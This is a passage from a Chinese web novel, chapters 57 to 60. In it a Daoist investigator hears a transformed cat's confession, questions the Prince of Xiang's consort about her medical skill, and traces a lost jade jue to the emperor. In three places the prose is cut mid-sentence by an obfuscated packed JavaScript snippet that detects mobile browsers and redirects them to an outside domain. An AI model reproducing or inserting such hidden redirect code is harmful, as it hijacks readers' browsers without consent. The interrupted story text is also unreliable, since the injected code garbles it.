事已至此,我只好与他说,此事关乎重大,切不可让过多人知晓,以及未能彻底信任之前不可贸然透露内情,更不可领来见我。他虽同意了,却仍坚持要我见见仙人,说这样对恢复人形也能有更大把握。我实在拗不过他,便给了他一枚试灵石,对他道,此物是过去一位仙人赠与我父亲,能试出仙家灵力强弱,你设法令他们一个一个经过此物前,我在高处看着,找出一个最有能力的仙家,我只见他一人,这样也能避免多生事端。他欣然应下。 所以,那夜我远远眺望着正殿,当看到有一人进门而试灵石丝毫未亮时,我立刻记下了他的样貌。 正是您,叶道长。 57. 第 57 章 黑猫垂下了头,两只前爪有些不安地缩了缩,声音也慢慢低了下去:“事情讲完了,道长打算如何处置我?” “啊?处置你作甚?”殷烬翎疑惑道。 黑猫猝然抬起头,眼里亮起一丝微光:“我,我是冒名顶替、欺瞒世人的妖物,道长不必将我收了去吗?” 殷烬翎闻言,不禁有些啼笑皆非:“我原先只道大乘子民素来对妖类误会颇多,倒不知妖类对仙家也是如此,我且问你,你一未修邪魔外道,二未乱社稷朝纲,三未害无辜之人,如何称得上邪祟二字。” 黑猫怔怔地看着殷烬翎,微张着嘴说不出话来。 “非人之物能开灵智者万里挑一,修行则更是艰难,你能修出人形实属不易,随意诛灭收押了去于仙家自己道行也有损害。” 黑猫在原地愣了许久,这才回过神:“原来是我误会了,那这么说,我可以继续留在殿下身边了?” “你愿意自然可以,这本就与我无甚干系。” 黑猫伏低了身子向殷烬翎行了个大礼:“多谢道长。” “只是,你打算何时告知太子身份,不,应当说,你还打算与他说嘛?” 黑猫沉默了半晌,将头低了回去。 殷烬翎继续道:“你清楚自己是恢复不了人形的,可太子不一样,即便今日我出面与他说我无能为力,他将来还是会四处寻仙问道,想方设法、极尽其所能地来替你恢复人身,就算你今日逃过了一劫,又如何保证他日来的仙家愿意耐心地听你讲完故事?” “或者说得更遥远一些,他是太子,你失踪日久,迫于朝政他必然要改立新的太子妃,届时他若执迷不悟,仍旧整日沉浸在你给他勾画出的虚无缥缈的希望中,你又当如何?” 黑猫将头埋进了毛里,许久才闷声道:“走一步算一步吧。” 殷烬翎不说话了,她明白,自己都能料想到的事,黑猫又何尝不知,但最终选择将头缩起来,掩耳盗铃,回避未来,不管不顾。 她也不打算再劝,毕竟有些话,说一遍就足够了,不论将面临的是镜花水月的相守,还是进退维谷的抉择,都是他们的旧日因果,她无从插手。 黑猫再度叩首一拜:“还望道长莫向殿下透露此事,梨落感激不尽。” 殷烬翎点头应下,默默地撤了结界,结界一消失,屋外便传来了敲门声。 “道长,是结束了吗?我能进来瞧瞧落儿了吗?” 殷烬翎上前打开了门,太子正一脸焦急地往里探头探脑,见门一开,连忙往里冲进来。 “落儿,落……儿?” 太子一见桌案上分毫未变的黑猫,一时呆愣当场。 殷烬翎在他身后道:“我们尽力了,黎小姐恐怕再难恢复……” 太子摇着头后退两边,一脸不敢置信:“不,怎么会……” 黑猫觉得他神色有异,试探地叫道:“殿下?” 太子猛地转过身,朝着殷烬翎,他鼻翼翕动,唇角坍塌,浑身都在颤抖:“你们不是仙人吗?” “为什么,为什么这点妖术都解除不了?” “为什么?落儿她才十六啊……” 黑猫唤着“殿下”扑了过来,他伸出的手堪堪停在殷烬翎身前,指尖微微发着颤,却还是稳稳地接住了黑猫,尔后紧紧贴在胸口。 “落儿,我的落儿……好可怜,我也,可怜……” “殿下。”黑猫从他怀里挣扎出头来,平静地看着他道,“我恢复与否当真有如此重要?我如今会说话,会思考,依旧可以与殿下谈天说地,嬉戏玩闹,甚至相拥而眠,我除了是一只猫外,还有什么与过去不同的吗?” 太子只是不停地摇着头,用带着鼻音的语调一遍一遍说着:“不一样的,不一样的……” 殷烬翎离开屋子前听见一句“落儿放心,我定会寻遍天下仙门,终有一日替你恢复身体”,她回过头,看见黑猫幽亮的眼眸中,有什么蓦地碎作了万千黯淡的星辰。 她一言不发地走出一段路,忽然似喃喃自语般道:“你说,形骸究竟意味着什么?” 一旁的叶南扶随口回道:“怎么,被那猫言猫语刺激着了?” 殷烬翎失笑:“没有。” “那么,是因为身为仙家,明明通晓无数道法,却始终未能帮上什么,”叶南扶道,“就跟医家没能成功医好病者一样的情绪?” 殷烬翎仔细想了片刻,刚要回答,却听不远处传来一声惊叫,她连忙抬头看去。 他们此时刚从东宫出来,正穿过宫中一片僻静的园林,此时只见外头圆拱门处躺着个女子,此人从衣着来看是名婢女,而其身旁围着三个女子,一人慌乱惊惧,不知所措地杵在一旁,一人高声呼喊,以期唤来附近的宫人,但宫里因百日血案忙得不可开交,此处园林又处在边缘,故而并未见人闻声前来,而最后一人半跪在倒地女子身旁,正俯身查看着什么,竟是襄王妃。 殷烬翎赶忙拉拉叶南扶,道:“正说着呢,这位医家,快去救治病人吧。” 叶南扶紧盯着那处,脚下却并不动,反手拉住了殷烬翎的袖子:“等等。” 殷烬翎先是疑惑地看了他一眼,随即会意地望向了那边。 只见襄王妃先是出声喝止了那位呼叫的婢女,随后俯身拍拍倒地者的肩头,凑在其耳旁唤了两声,毫无响应,于是又伸出二指分别搭在其颈部、鼻下探了一番,并摸了摸其手掌与指尖,尔后指端用力掐按在了水沟穴上,抬起头向另两名婢女道:“你带着缝衣针吧。” 婢女连忙从荷包里翻出针来,递给她,襄王妃抬起倒地女子的手,刺破各个指尖的十宣穴,并挤出几滴血来,又吩咐另一婢女将其上身抬起,刺破后颈的大椎穴,亦放了些血。 不多时,婢女转醒了过来,另两个婢女见状上前抱着她又是哭又是笑,欣喜不已。 襄王妃静静立在一旁,看着她们闹着,嘴角微微露出些笑意,一时宛若明月生辉,光华万丈。 三名婢女欢欣之余,却没忘记襄王妃方才干脆利落的一系列救人举动,刚被救醒的那名婢女上前拜倒在襄王妃面前,道:“多谢王妃救命之恩。” 襄王妃俯身将她扶了起来,温声道:“你还需多加休息,切莫行此大礼,先回去行宫吧。” 婢女又道了几声谢,便行礼告退了。 另一婢女好奇地问:“当真是神奇,王妃何时会的这些?” “这点在下可有幸知晓?” 殷烬翎从园林里走出,来到拱门前的路上,作揖道:“恕在下冒昧,敢问王妃何处学来如此精湛的医术。” 襄王妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235809|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了殷烬翎,眼神显见地有一瞬的慌乱,垂在两侧的手反复捏着衣袖边缘,轻咬朱唇,默不作声。 殷烬翎原就因凌烟阁之事对襄王妃颇有疑心,此时自然不会轻易放过这可疑的线索,见她不答话,便继续追问:“王妃?” 襄王妃将唇抿了又抿,才堪堪吐出话来:“我……” “自然是过往在幽州老家学的。”旁边忽然传来个清朗的少年声,径自接过了话去。 殷烬翎转首看去,襄王正大步向此处走来,立到了襄王妃身前,双目正朝着殷烬翎,面色有些不愉,冷了声音道:“不知颜儿做错了何事,竟得道长如此逼问?” 哦豁,完了,欺负落单的女子却被她夫君逮个正着,所幸方才拦了老哥出来,不然现下襄王的脸色只怕要黑得跟那锅底似的,眼里怎么也得开出个扇形图,装他个三分敌意三分怒火三分怜惜以及一分危险。 殷烬翎并不接他的话,转而道:“王妃老家?是定国公府旧宅?” 襄王硬着声音道:“是,但是这与道长何干?” 襄王妃在他身后拉了拉,轻声道:“阿预,别对道长这么无礼,她方才不过问了我一句。” 襄王转过身来,冷硬的脸色瞬间柔和了下去,冲襄王妃绽开一个明朗的笑,拉拉她的手,道:“好颜儿,我知道你心善,可太温柔随和容易遭人欺凌的。” 襄王妃低下头,轻轻应了声“嗯”,随即嘱咐道:“好好跟道长说话。” 襄王便转过身来,对着殷烬翎,再度变回不悦的冷脸,但比方才稍缓了些,许是襄王妃的话起了效,声音也不见得多平和,只是好歹端了些礼数,不再如之前那般冲。 “颜儿自小是在幽州旧宅那儿长大的,直到五年前才被她父亲派人接回江宁,想来便是在那儿习得的医术。” 汪汪汪?我只是来查个案子的,为什么要把冰冷的狗粮往我嘴里塞?所以这就是欺负了人家妻子的报复嘛?而且襄王殿下,您刚刚这变脸速度比我可快多了,老哥要是在旁边,我定要指给他看看,好教他知道什么叫真正的川剧变脸,让他从此以后再不能嘲我。 “原来是这样。”殷烬翎干巴巴地赔着笑,“在下只是偶然路过,见王妃医术不凡,便生了些好奇,多有唐突,还望殿下与王妃见谅。” 襄王哼了声,也没再说什么,转而笑着拉起襄王妃,道:“颜儿,那边的园林景致也是不错的,要不要去坐会儿?” 少年猫儿一般的眼里盈满了神采奕奕的期待,只差在脸上写着“去吧去吧”了。 襄王妃低头浅浅笑了笑,点头同意了。 襄王顿时有些雀跃,执起她的手就往园林那里快步而去,步子轻盈灵活,甚是飞扬跳脱,令襄王妃只得提着衣摆小跑起来才能跟上,不住地道:“阿预,慢点走。” 两个婢女也连忙跟了上去,一时间此处仅剩下了殷烬翎一人,她只觉得扑面而来的风里全是恋爱的酸臭味,熏得她头脑发昏,心下不禁泛起一股浓浓的怨念来,直想高举火把迎风唱起圣歌。 叶南扶从另一边绕了过来,站到了殷烬翎旁边,问:“有何想法?” 殷烬翎摸着下巴,看着已经进了园林深处的几人,若有所思道:“你有没有觉得,襄王同襄王妃的关系……似乎比先前见的几次又近了不少?” 58. 第 58 章 叶南扶斜瞟了殷烬翎一眼,知道她又惯例地自言自语分析起来了。 果然,殷烬翎并不需要他回答就接着道:“襄王倒一直是这个态度,主要还是这襄王妃,似乎对襄王亲密了不少。” “怎么说?” “称呼变了。”殷烬翎道,“前几次见,即便是私底下,襄王妃也还是端庄有礼地称襄王为‘殿下’,这与那黑猫梨落唤太子‘殿下’截然不同,矜持中带着几分客气疏离,而今日,她却对襄王唤作‘阿预’,虽说语气依旧算不得十分的亲昵,但比之先前,已然有了相当的变化,是发生了什么事嘛?” 叶南扶插话道:“但人之间的关系本就不是一成不变的,人自身就是最大的变数。” “说的也是。”殷烬翎想了想,打算先不纠结这个问题,“这么说来,近几日你对我的态度似乎也有挺大改变……” “是错觉。”叶南扶立马道。 “是嘛?”殷烬翎疑惑地摸摸头,“但你不觉得……” “不觉得。” “难道你没有……” “没有。”叶南扶迅速打断并且催促道,“别瞎想了,都快未时了还没用过午膳呢,你不饿我都饿了。” 殷烬翎觉得叶南扶绝对是在睁眼说瞎话,真当她没看见先前在太子书房时,他一刻不停地吃完了矮几上两大盘的干果嘛?只怕一会午膳又吃不了多少了。 - 回到住处,午膳已经凉了有一会儿了。 殷烬翎随便扒了点,就开始拿筷子有一下没一下地戳着碗里剩下的残羹冷炙。 她有些兴趣缺缺地瞅了瞅桌上几个菜肴,还是将筷子搁下了,托着脸颊百无聊赖地看着叶南扶一粒一粒数着碗里的米。 “老哥啊。”殷烬翎微微叹了口气,“我忽然想到一个问题。” 叶南扶筷子尖正戳上了一粒米,头也不抬随口道:“什么?” “你说我们这好日子啥时候到头啊?” 由于托着腮,殷烬翎声音显出几分有气无力:“百日搞砸了,案子陷入僵局,犯人也毫无眉目,我觉得现下还留我们住在皇城里负责此事,供给一日三餐,怕是碍于他们祖宗留下了尊仙的规矩,已经在疯狂消耗这千百年来仙界积攒的情面了。” “你今日不是好歹摸清了太子的底细么,逢七的几件异事,已经五去其二了。” “这又算不得什么进展,我们早先就明白的事,不过听他亲口证实了而已。”殷烬翎又叹口气,“太子所做之事都尽可能选择了不干扰祭祀进行的方式,表明他虽对太后持有一定怀疑,却不至于到要破坏她的身后安宁的地步,从这个方面来看,反倒是淮安王更有动机。” “怎么又说到淮安王头上去了?”叶南扶挑眉。 “虽说你认为他可信,但我毕竟没在当场,合理怀疑一下都不行?”殷烬翎与他对望着,挑衅地一抬下巴,“你保下的?” “我保下的。”叶南扶淡淡道。 “又是所谓直觉?”殷烬翎轻嗤一声。 叶南扶不答话,默了许久,久到殷烬翎都打算开口说个别的话题了,他忽然轻声说了句:“倒也……不是。” 随即不等殷烬翎反应过来这话是何意思,又立马岔开话题:“与其忧心这里锦衣玉食的时日无多,不如想想你那天价赏金是否还到得了手?” “对啊!”殷烬翎猛地一拍脑门,幸好今日发髻是出自叶南扶之手,否则只这一下定又散成个鬼样。 不过即便当真散了,她现下恐怕也是无暇理会的,她赶忙伸手掏了掏袖子,取出了个金色布帛,正是仙愿榜。 点开来一瞧,确认了上头委托的状态还是进行中,她不由松了口气。 这代表皇帝还是很给面子的没有直接点了委托失败,不然酬金泡汤事小,我这以往委托全数达成的完美记录可不能在这里有了缺口……不对,纠正一下前一句,酬金泡汤也是大事。 嗯嗯,我这个十成的记录每每看得人通体舒畅,除了那些初出茅庐没接过几个心愿的,别的仙家出来混了这些年或多或少都会有个一两件没完成的,那些九五成、九八成的数字看了就令人叹惋不已,诶嘿嘿嘿…… 殷烬翎暗自窃笑不止,不仅如此,她还举着仙愿榜,拿到叶南扶面前,见他疑惑地接了过来,便得意洋洋地拖长了声音道:“老哥,你瞅瞅这上头的心愿达成几率,后面的数字是多少啊——” 叶南扶低头寻了寻,没见着。 “在哪儿?” “就在最上边,我名字和师门旁。” 叶南扶便再度低头去看,却见布帛上的文字光芒一暗,紧接着正中央出现个框。 附近人发布的心愿: “特急!欲寻近来丢失的一枚玉玦!” 距仙友所在约二里。 非常适合仙友在接手高额、长时耗的委托闲暇之际,做个小活赚点外快哦~ 好的残忍拒绝 “这是什么?”叶南扶发出了迷惑的声音。 殷烬翎坐在自己原位上等着叶南扶读出那个数字,正盘算着待会怎么跟他解释这个含义,并准备好了挨夸,没瞧见布帛上已然有了变化,见叶南扶难得露出了一脸迷茫的模样,还笑着在心中不断感叹老年人就是不擅长使用仙界新时代事物,便起身过去打算指点下。 “嗯……?”叶南扶再度发出个茫然不解的音节,一边戳下了好的,“这样就行了吗?” 刚刚站到他后面正打算指点江山却看到这一幕差点心跳骤停只觉得大冬天的浑身发冷手脚冰凉羽毛登时炸开根根倒竖的殷烬翎:“……” 静默几息之后。 “啊啊啊啊啊啊啊啊啊——” 殷烬翎劈手夺过仙愿榜,看着上面显示的“您已成功接手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245600|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该心愿,祝您一帆风顺~”,只能惨烈叫唤着,徒劳地不停戳那个光芒暗淡的“终止心愿”四字。 “仙友,本心愿不支持终止,请尽快与发布者联系吧~” “仙友,自己接的心愿,哭着也要做完哦~” “仙友,行百里者半九十,不可半途而废吖~” 吖你个锤子啊! 这个流氓仙愿榜,整天弹出这些广告推送来骚扰骗人接,还把“好的”设得巨大且惹眼,“残忍拒绝”缩到小角落里看花了眼都找不见!有时候好不容易找着了,那字比指尖还小,并且就紧挨在“好的”旁边,一不留神就能给戳歪了碰到“好的”上头去,有些还有真真假假好几个拒绝!最恶心的是这种任务往往还不、能、退! 也不知这些发布者跟官方背地里都达成了什么肮脏的交易,还有脸拿名言警句来挤兑我,我这行了九十了嘛?我明明一步都没打算走这还在起点,叫我不要半途而废,就他喵的离谱! 被各类名言鸡汤轰炸一轮过后,殷烬翎终于认命,放弃了毫无意义的终止心愿尝试,一滩烂泥似的糊在了椅子上,叹了口气,点开了心愿内容。 心愿发布于六月初六,距今已四月有余,心愿描述也仅有一句话:恳请道长帮忙寻找这枚丢失的玉玦。 起先还不明真相的叶南扶,现下看她的反应,也猜出自己大概做了些不当的操作,难得有些心虚地出声问道:“如何了?” 殷烬翎刚想开口回话,目光却被下边这个玉玦的画像吸引了,慢慢闭了口,凑近些看。 玉玦呈环形,中空,边上有个缺口,玉身上刻有祥瑞的云纹图案,并无什么特殊之处,硬要说也只是图案比普通玉玦看着雅致端庄一些。 饶是如此,殷烬翎心头却仍是升起了一股莫名的熟悉之感,似乎这玉玦近来在何处见过。 “老哥,过来看看。” 许是殷烬翎说得太突兀,叶南扶迟疑了下,警惕道:“此事确是我之过,你想作甚?” 殷烬翎顿时明白过来他还在纠结前事,一时间哭笑不得。 其实严格来说也不能全赖他,主要还是这流氓仙愿榜的锅,然而能听到老哥百年难见的认错服软,虽说语气并不见的软,但总归是相当令人心花怒放的。 “放心,不会吃了你。”殷烬翎笑着,像哄浑身紧绷的猫儿似的道,“就是过来看个图。” 叶南扶狐疑地看了她两眼,谨慎地慢慢走了过去,殷烬翎将布帛往他那边推了推,将玉玦的图指给他看。 “可有见过?” 叶南扶见之便是一皱眉,又凑近仔细瞧了上头的云纹图案,须臾抬首看向殷烬翎,道:“前几日我们去凌烟阁时……” 此言一出,殷烬翎的记忆顿时像开了闸似的涌出来,她不禁倒吸了一口气,惊愕地道:“是那个……妖蛊案中,广陵王府搜出的,证物之一?” 59. 第 59 章 当年广陵王被定罪,主要罪证有三。 一者祭台上那幅笔迹被鉴定为的他本人的诡异画作;二者抄没王府时搜出的半成品木偶以及部分制作材料;三者便是同样来自其府中一枚皇帝贴身佩戴的玉玦。 这三样证物虽在结案当时即被销毁,但凌烟阁记录此案的一些书册上绘有这几件物品的画像,殷烬翎当时见过,如今想起来,这玉玦何止相似,怕就是那书上的画拓印下来的。 倒是没想到,不小心接了个广告心愿,误打误撞竟也能找出点线索来。 这个发布者定然是知情人,而且距我所在地二里以内,那不就是在这皇城之中了嘛? 殷烬翎不由兴奋了起来,想到此事还要多亏了叶南扶的瞎点,便两眼放光地凑过去道:“老哥,稳!” 叶南扶显然知道因祸得福了,也不再似方才那警觉的猫儿一般了,又恢复了原来漫不经心的模样,问:“怎么找这人?” “不急,我先留个言问问他何时过去。”殷烬翎指尖点了几下,“等他看见了自然会回答我。” 留完了言,还得将桌上这一片残局给收拾了。 刚收拾完碗筷,外头便来了人,将门擂得震天响。 “殷梨,开门!我知道你在里面,别躲着不出声,你有本事……” 殷烬翎猛地一把拉开门,皱着眉一脸鄙弃地看着外边的封荀:“我早说了,别看过几个画本学了两句梗,便整日有事没事也不瞧瞧情景适不适当就往上套,一眼就能被资深圈内人看出你是个没怎么见过世面还爱瞎嚷嚷的萌新。” 秦子铮上前一步,隔开了一见面就剑拔弩张的两人,对殷烬翎道:“原先说好是明日再来交流情报,之所以提早来了,是我们今日发现了一件分外重要之事,想着早些说与师妹。” 哦?秦师兄这是发现了什么惊天八卦,竟如此迫不及待地欲与我分享? 殷烬翎将两人请了进去,见堂前的太师椅已被叶南扶当仁不让地占了一把去,还空着两把,便留给了两位师兄,自己则立在边上,毕竟她又不似叶南扶这般的没骨头立不住,况且听八卦这么开心的事,站一会也无妨。 叶南扶瞥了她两眼,没吭声。 秦子铮抢先开了口:“按照昨日定的计划,今日我与佩之先是分头去了定国公府和襄王府查了点情况,又在宫里打探了一番,汇总一合计,便发现了关于襄王妃的一些端倪。” “先前说过,襄王妃姬朝颜,是定国公府三房嫡女,也就是如今老定国公的孙女,刚刚过世的这位姬太后又是老定国公的长姐,故而这襄王妃是太后侄孙女。” 殷烬翎点头:“且太后似乎颇为赏识她,认为她沉静稳重。” 秦子铮神色凝重地摇头道:“恐怕不仅仅是赏识那么简单。已故的姬太后虽平日里待人温柔敦厚,但她昔日执政之时手段可是相当雷厉风行的,被她教导过的几个小辈如今长大了都还很是怵她。” 殷烬翎想起了梨落,也是被太后训诫的其中一员,时常委屈地跑去东宫与太子诉苦,而太子明明如此钟爱她,却始终不敢去太后跟前替她求情说好话,可见太后之严厉威仪。 “但这样一个凌厉的长辈,却似乎对襄王妃格外宽容,几乎从未训斥于她,即使偶有几句也是怜爱多于责怪,其态度之和蔼让人觉得判若两人,虽说襄王妃本身确实是个娴静的性子,也甚少有言行失宜,但太后对其之特殊不可谓不奇怪。” “不过,其实太后较为疼爱的还有一人,便是襄王。襄王在太后几个孙子当中年纪最小,自幼聪慧过人,会讨得人欢心,又常去太后跟前陪伴,与太后甚是亲近,娇惯些也属情理之中,故而先前襄王几次三番向太后求娶襄王妃,太后便首肯了。但襄王妃不同,襄王毕竟是太后看着长大的,襄王妃却是五年前才被接回江宁的,这便是今日查到的头一件要事。” 这个其实我也刚刚得知了,还是听襄王亲口说的……可是啊,对一个兴致勃勃讲着八卦的人来说,最为扫兴之事莫过于听者忽然说出一句“这个我早知道了”,简直能让人热情急转直下瞬间索然无味,连新鲜烫手的爆料也丝毫不香了。 假如这是疯狗讲的,她绝对毫不犹豫地出言嘲讽他,以消磨他的志气为己任,但秦师兄不一样,师兄是要干大事的人,不能因一时口快而打击到师兄未来发展八卦事业的信心。 “还有这种事?”殷烬翎故作浮夸的语气道。 叶南扶忍不住瞥了她一眼,明明白白写着“看傻子的眼神”。 秦子铮似乎很满意她的反应,继续道:“定国公一门祖籍在幽州,那里还留有一座旧宅,据说襄王妃过去是在那儿长大的,五年前,也就是天佑七年的年底,因太后想念,才被接来江宁。但怪就怪在,包括定国公府的下人在内,此前似乎从未听说过三房有这位嫡小姐,曾一度私下议论,若是嫡小姐不该被养在幽州那种荒僻的地方,只怕其中大有渊源,但后来见她温和良善,颇有大家之仪,又如此得太后盛宠,便也慢慢没了声音。” 天佑七年,这个年份有点微妙啊。殷烬翎心道。 正是这年,长达一年有余的妖蛊案终于告一段落,主谋广陵王在被流放滇南的途中染病身亡,原御画坊画师陈彦藩请辞出宫在南三街开了灯烛铺,而这位定国公府的嫡小姐从幽州被接回江宁。 天佑七年,定然催生了许多潜藏在盛世表象下的暗潮,一步一步,导致了如今的惨案。 殷烬翎正沉吟思索着,却听秦子铮接着道:“还有一件事,由于丧事之故,襄王妃近来一直住在皇城里的行宫,这事儿是从行宫的宫女处打听到的,在行宫服侍的,除了几个贴身婢女是从襄王府带来的,其余大多还是宫里的宫女,与襄王妃接触也不久,没什么感情,口风相对较松,她们说王妃近来有一日发了梦魇,哭喊着‘哥哥’。但是我们查过定国公府的孙辈,襄王妃并没有兄长,庶兄,堂兄也没有,孙辈的几个男丁都较她年幼。” “已亡故的可有查?”殷烬翎忽然道。 “查了,只大房有个两岁早夭的,夭折之时襄王妃都还未出世。” 殷烬翎咂了咂嘴,又道:“那她梦魇之时,襄王可有听见?” 秦子铮摇头:“襄王那日在灵堂守灵,不曾得知。” 殷烬翎缓缓点了点头。 “其实从定国公府回来的路上,我们还拐去南三街,向那附近街坊打听了下灯烛铺老板陈彦藩之事。” ……等等,师兄,就一上午的功夫你们做的也未免太多了些吧?你说这是三天的工作量我都信啊!大家为了在大乘皇族面前保留下仙家颜面都这么拼的嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263088|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? “陈彦藩并无妻室,往日独居在城东的宅子中,七七之前一段时日,原本一直在与铺子里的伙计赶制宫里祭祀用的白烛,却在将要完工之时把伙计们都遣散了去,铺面也关了,本以为要换东家了,过了几日,却见宫里来了人,从铺子里抬走了四个白烛,陈彦藩也在后头,跟人客套着送了出去,街坊于是想着前几日许是在闭门雕琢来着,大约送出去了这铺子又会再度开张的,谁知那日竟是见他的最后一面,此后铺子便彻底关了。” 殷烬翎想起那铺子后头仓库里还留着部分试验的白烛,估计他闭门那段时日就是在捣鼓这个。 “他位于城东的家里,早先查到他身份之时,宫里便派人去搜过了,已经满是灰尘,瞧着空了有月余了。” 殷烬翎皱眉:“即是说,他确实在七七之前便逃了,但不知何故又以这种方式出现在我们面前。” “不错。”秦子铮道,“这便是今日查到的全部了,师妹可有所获?” 由于先前答应过,殷烬翎便隐下梨落之事不谈,只说了太子犯下三七五七两桩案子,又提了两嘴遇上襄王妃之事,几人一时都陷入沉吟思索之中。 “师兄,你们可知,百日前几日祭天台是否有可疑之人出入?”殷烬翎忽然问道。 “你若想从这入手,恐怕有些困难。”封荀道,“那几日准备贡品用具,祭天台出出入入的人太多了,尤其是夜里,只台下面会有几人守着,而贡品里又有不少刚宰杀的猪羊,黑灯瞎火的,盖个一样的布很容易混进去,只需等个台上无人的时机将尸首推进巨鼎里去,而那巨鼎又高出人不少,即便有些许血腥味,也会被生牲盖过去,宫人们更不会同你昨日那般,大不敬地爬到鼎上去看。” 殷烬翎有些讪讪地撇了撇嘴,却又想到一事,喃喃道:“百日这事的目的,究竟在于打断祭天的进行,还是在于伪装天罚来处理死去这个人的尸首?” 就在众人的讨论分析渐渐告一段落之时,高亢惨烈的“叽——”又突兀地自殷烬翎袖中响起,正是那个每每响起都会令她无比尴尬但仍是一直保留着的杀鸡提示音。 那发布人回信了! 她轻咳一声,连忙伸手进去按掉,尔后冲两位师兄行了礼,道:“临时有事,先失陪一下。” 说罢一把拉起坐得泰然自若的叶南扶,快步出了门去。 叶南扶扯了扯被殷烬翎抓着的袖子,示意她放手,她正好也要取仙愿榜出来,便依言松了手,边走边拿了布帛展开来,上边果然有个光点在闪,正是寻找玉玦的那位发布者回了留言。 “打扰道长了,此事已经解决,不必前来。” 乍见此言,殷烬翎脚下不由一顿。 叶南扶正掸着有些被拉皱的袖子,余光见她停了步子,便问:“怎么了?” 殷烬翎微微皱了下眉:“他说不用去了。” 叶南扶依旧对付着袖子,头也不抬,随意地道:“你那上边还能知晓他所在之处吗?” “能。” “那走呗。”叶南扶抬起头来,一扬下巴。 殷烬翎在仙愿榜上戳了一下,立刻便有个清亮明朗、字正腔圆的女声响起。 “仙愿榜为您指路,前方直行,约半里后岔口往右。” 叶南扶:“……” 60. 第 60 章 顺着仙愿榜导航的指引,两人一路行了有二里左右,终于来到了—— 一堵高耸的宫墙前。 女声仍一直在响:“前方直行,前方直行。” 殷烬翎左右望了望,见左侧老远之处似乎有路可以绕行,便转身往左走了几步。 “仙友,您已偏离路线,正在为您重新规划。” 殷烬翎:“???” 她只得转回来面朝宫墙。 “前方直行,前方直行。” 殷烬翎:“……” 什么破玩意儿。 她抬手一把摁掉声音,团起仙愿榜塞回了袖子里,右手蕴起灵力,左手抓住身旁的叶南扶,往宫墙上蹬了一脚,腾身翻进了墙内。 甫一落地,也不知是不是没关彻底,女声再度响了起来:“您已到达目的地——太极宫附近,本次指路完毕。” 殷烬翎闻声一皱眉。 太极宫?那不是皇帝…… “砰”的一声,殷烬翎循声望去,只见不远处立着个内侍,许是瞧见了二人翻墙进来,正呆呆地望着他们,手上的托盘跌落在地。 眼见着他要喊人,殷烬翎眼疾手快一个噤声诀就丢了过去,内侍顿时张大了嘴再发不出半点声响,只能惊恐地摸着自己脖子。 “莫慌,我们不是刺客,是陛下找来的仙家。”殷烬翎上前一步,压低声音道,“陛下秘密召见我等,此事不可泄露,你的嗓子过会就能恢复。” 内侍慢慢冷静下来,似乎也认出了殷烬翎的仙家身份,用力点了点头,拿手指了指宫殿里,示意陛下在里面。 殷烬翎道了声:“多谢。”便带着叶南扶往殿门口去了。 太极宫,是皇帝的寝宫。 通传过之后,便来了位内侍替二人引路,进了里头。 皇帝披了件外袍,正坐在案前,见二人到来,便起身相迎,吩咐人看座。 “二位道长前来,所谓何事?” 殷烬翎也不寒暄客套,直接开门见山:“那个寻找玉玦的心愿,可是陛下发的?” 皇帝闻言默了默,道:“是寡人,但……” 他挥手屏退侍候的宫人,起身离座,来到先前所在的桌案旁,取下一个木匣子,从里头拎出一枚玉玦来,摊在手上递到两人面前。 殷烬翎仔细端详片刻,确定这与仙愿榜上、凌烟阁中书册上画的都如出一辙。 “是一样的吧。”皇帝道。 殷烬翎点点头:“一般无二。” “玉玦已然找回,还劳烦了二位道长空跑一趟,实在是寡人近日事务繁忙,未能及时将心愿撤下来,还望道长见谅。” 这是隐晦地下了逐客令了。殷烬翎心道。 也是,他本就回信说不必来了,我们其实也算得上不请自来了。 殷烬翎心下想着,却似钉在座上一般半点未有挪动,语气恭敬谦和,说出来的话却全然不同:“陛下能否解释一下,传说已在当年结案时被销毁的,这枚广陵王府搜出的玉玦,为何如今会在陛下手上?” “咚”的一声。 皇帝手微微一抖,玉玦便自掌心滑落,碰在桌案上,发出了一声沉闷的轻响。 他连忙掩饰地将玉玦拾起,塞进了木匣之中,放回原处,只是匣子放了回去,手却迟迟没有离开,也不曾转过身来看向两人,而是背对着,声音闷闷地开了口:“道长……都已知晓了?” “这要看陛下问的是何事。”殷烬翎语调平静无波,“若陛下指的是妖蛊案,那在下确实已了然于胸。” 皇帝转过身来,慢慢回位落座,抿着唇过了许久才道:“此物确是当年那块玉玦不错,此等不祥之物本应早早销毁,可……先前,母后头七那日,寡人守灵整整六日,过于疲乏,便回了寝宫休息,然而夜半之时却被噩梦所惊扰,醒来时,在枕下……发现了此物。” 